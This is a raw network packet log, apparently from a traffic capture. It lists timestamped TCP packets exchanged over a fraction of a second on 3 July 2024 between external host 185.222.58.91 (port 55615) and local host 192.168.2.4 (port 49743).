Jul 3, 2024 18:17:36.384568930 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.384598017 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.384697914 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.384747982 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.384955883 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385085106 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385097027 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385104895 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385114908 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385124922 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385130882 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.385165930 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.385236025 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385246038 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385255098 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385263920 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385272980 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.385273933 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385310888 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.385365009 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385375977 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385442019 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.385596991 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385607958 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385617018 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385641098 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385680914 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.385766029 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.385768890 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385780096 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385885954 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.385914087 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385925055 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.385981083 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.386032104 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386043072 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386050940 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386059999 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386068106 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386094093 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.386138916 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.386269093 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386279106 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386287928 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386296988 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386305094 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386313915 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386377096 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.386467934 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386477947 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386487007 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386502028 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386511087 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386519909 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386528969 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386547089 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386555910 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386564970 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386574984 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386584044 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386590004 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.386595011 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.386634111 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.386743069 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.389228106 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.389435053 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.389446020 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.389499903 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.389508963 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.389540911 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.389588118 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.389597893 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.389601946 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.389661074 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.389671087 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.389695883 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.389777899 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.389823914 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.389834881 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.389842987 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.389880896 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.389996052 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.390038967 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390049934 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390058041 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390070915 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390079975 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390088081 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390096903 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390114069 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.390160084 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.390165091 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390175104 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390185118 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390192986 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390235901 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390285969 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.390379906 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390389919 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390608072 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390618086 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390626907 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390636921 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390650034 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.390650988 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390697956 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390702963 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.390707970 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390717030 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390727997 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390738010 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390748024 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390757084 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390765905 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390805006 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390806913 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.390815020 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390880108 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.390897989 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390908003 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390918016 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.390927076 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391038895 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.391061068 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391071081 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391139984 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.391307116 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391316891 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391324997 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391434908 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391448975 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.391537905 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391546965 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391556978 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391566038 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391568899 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.391575098 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391583920 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391607046 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.391702890 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391711950 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391712904 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.391797066 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391835928 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.391937971 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391947985 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.391999960 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.392055988 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.392067909 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.392081976 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.392091036 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.392098904 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.392168045 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.392184019 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.392194033 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.392203093 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.392211914 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.392220974 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.392229080 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.392303944 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.393220901 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393233061 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393240929 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393250942 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393259048 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393268108 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393277884 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393286943 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393296003 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393305063 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393306017 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.393312931 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393322945 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393332005 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393342018 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393343925 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.393351078 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393359900 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393366098 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.393368959 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393378019 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393385887 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393394947 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393404007 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393404961 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.393413067 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393423080 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393433094 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393443108 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393444061 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.393448114 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393457890 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393467903 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393476963 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393479109 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.393486023 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393495083 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393506050 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393513918 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.393515110 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393527985 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393537045 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.393537045 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393553019 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393557072 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.393563032 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393572092 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393582106 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393585920 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.393589973 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393599033 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393606901 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.393608093 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393618107 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393623114 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.393626928 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.393651009 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.393748045 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.394124985 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394196987 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394207001 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394216061 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.394314051 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.394332886 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394342899 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394351006 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394360065 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394390106 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.394448996 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394459963 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394470930 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394483089 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.394519091 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.394643068 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394654036 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394663095 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394666910 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394670963 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394674063 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394686937 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.394692898 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394702911 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394711971 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394716024 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394741058 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.394808054 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394819021 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394855976 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.394923925 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.394961119 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394970894 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394979954 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.394989967 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395021915 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.395071983 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395081997 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395111084 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.395144939 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395154953 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395164013 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395174980 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395175934 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.395184040 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395193100 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395221949 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.395245075 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395256042 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395268917 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.395323992 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.395359039 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395369053 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395378113 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395386934 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395396948 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395406008 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395441055 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395451069 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395456076 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.395461082 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395479918 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395489931 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395498037 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.395500898 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395509958 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395530939 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.395550013 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395560026 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395569086 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395574093 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.395603895 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.395607948 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395617962 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395627022 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395636082 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395646095 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395663977 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395675898 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.395701885 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.395757914 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.395848036 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395859003 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395967960 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395977974 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395986080 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.395994902 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.396035910 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.396092892 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.396102905 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.396111965 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.396121025 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.396126032 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.396130085 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.396142960 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.396150112 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.396194935 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.396249056 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.396260023 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.396267891 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.396276951 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.396286011 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.396296024 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.396300077 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.396362066 CEST	49743	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:36.396367073 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.396378040 CEST	55615	49743	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:36.396387100 CEST	55615	49743	185.222.58.91	192.168.2.4
